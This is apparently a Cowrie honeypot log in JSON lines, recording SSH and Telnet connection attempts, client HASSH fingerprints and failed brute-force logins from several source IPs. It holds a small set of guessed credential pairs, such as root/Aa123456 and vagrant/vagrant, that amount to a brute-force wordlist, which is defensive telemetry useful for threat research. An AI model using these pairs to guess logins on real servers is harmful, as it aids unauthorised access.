{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":31483,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaa5eef67882","protocol":"ssh","message":"New connection: 5.196.136.131:31483 (10.17.0.5:22) [session: aaa5eef67882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:18.102381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:18.105988Z","src_ip":"5.196.136.131","session":"aaa5eef67882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:18.185215Z","src_ip":"5.196.136.131","session":"aaa5eef67882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:18.423957Z","src_ip":"5.196.136.131","session":"aaa5eef67882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.115.7.203","src_port":4207,"dst_ip":"10.17.0.5","dst_port":22,"session":"52bafca36c6f","protocol":"ssh","message":"New connection: 181.115.7.203:4207 (10.17.0.5:22) [session: 52bafca36c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:18.983184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:18.985620Z","src_ip":"181.115.7.203","session":"52bafca36c6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:19.053240Z","src_ip":"181.115.7.203","session":"52bafca36c6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2019@#","message":"login attempt [root/unitedstates2019@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:19.252815Z","src_ip":"181.115.7.203","session":"52bafca36c6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:19.528927Z","src_ip":"5.196.136.131","session":"aaa5eef67882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:20.321026Z","src_ip":"181.115.7.203","session":"52bafca36c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":51884,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c25b8c592d3","protocol":"ssh","message":"New connection: 103.77.175.15:51884 (159.203.135.109:22) [session: 7c25b8c592d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:22.404171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:22.407643Z","src_ip":"103.77.175.15","session":"7c25b8c592d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":60536,"dst_ip":"10.17.0.5","dst_port":22,"session":"67083f066c66","protocol":"ssh","message":"New connection: 5.196.136.131:60536 (10.17.0.5:22) [session: 67083f066c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:22.517778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:22.538790Z","src_ip":"5.196.136.131","session":"67083f066c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:22.598071Z","src_ip":"5.196.136.131","session":"67083f066c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:22.629596Z","src_ip":"103.77.175.15","session":"7c25b8c592d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:22.907803Z","src_ip":"5.196.136.131","session":"67083f066c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kuznecova","message":"login attempt [root/kuznecova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:23.298403Z","src_ip":"103.77.175.15","session":"7c25b8c592d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:23.989448Z","src_ip":"5.196.136.131","session":"67083f066c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:24.523005Z","src_ip":"103.77.175.15","session":"7c25b8c592d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":50972,"dst_ip":"10.17.0.5","dst_port":22,"session":"b02ac9cc6b3b","protocol":"ssh","message":"New connection: 188.92.241.150:50972 (10.17.0.5:22) [session: b02ac9cc6b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:36.235698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:36.239720Z","src_ip":"188.92.241.150","session":"b02ac9cc6b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:36.373813Z","src_ip":"188.92.241.150","session":"b02ac9cc6b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minmin","message":"login attempt [root/minmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:36.952089Z","src_ip":"188.92.241.150","session":"b02ac9cc6b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:38.089157Z","src_ip":"188.92.241.150","session":"b02ac9cc6b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":58414,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f403435ec85","protocol":"ssh","message":"New connection: 162.240.75.182:58414 (10.17.0.5:22) [session: 7f403435ec85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:39.402235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:39.408210Z","src_ip":"162.240.75.182","session":"7f403435ec85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:39.496724Z","src_ip":"162.240.75.182","session":"7f403435ec85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kraken456","message":"login attempt [root/kraken456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:39.763235Z","src_ip":"162.240.75.182","session":"7f403435ec85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":60480,"dst_ip":"159.203.135.109","dst_port":22,"session":"30f429d2228b","protocol":"ssh","message":"New connection: 193.37.70.224:60480 (159.203.135.109:22) [session: 30f429d2228b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:40.608786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:40.612540Z","src_ip":"193.37.70.224","session":"30f429d2228b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:40.697389Z","src_ip":"193.37.70.224","session":"30f429d2228b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:40.853820Z","src_ip":"162.240.75.182","session":"7f403435ec85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a3d5g","message":"login attempt [root/1a3d5g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:41.055570Z","src_ip":"193.37.70.224","session":"30f429d2228b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:42.141462Z","src_ip":"193.37.70.224","session":"30f429d2228b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.149.97","src_port":7167,"dst_ip":"10.17.0.5","dst_port":22,"session":"776019fc1e7f","protocol":"ssh","message":"New connection: 51.15.149.97:7167 (10.17.0.5:22) [session: 776019fc1e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:48.937490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:48.948962Z","src_ip":"51.15.149.97","session":"776019fc1e7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:49.017971Z","src_ip":"51.15.149.97","session":"776019fc1e7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2019#","message":"login attempt [root/unitedstates2019#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:49.328363Z","src_ip":"51.15.149.97","session":"776019fc1e7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:50.409597Z","src_ip":"51.15.149.97","session":"776019fc1e7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46600,"dst_ip":"159.203.135.109","dst_port":23,"session":"531acec3a607","protocol":"telnet","message":"New connection: 170.64.224.25:46600 (159.203.135.109:23) [session: 531acec3a607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:55.797535Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":45966,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec74cd253c2a","protocol":"ssh","message":"New connection: 198.12.251.137:45966 (10.17.0.5:22) [session: ec74cd253c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:12.648829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:12.653417Z","src_ip":"198.12.251.137","session":"ec74cd253c2a","protocol":"ssh"}
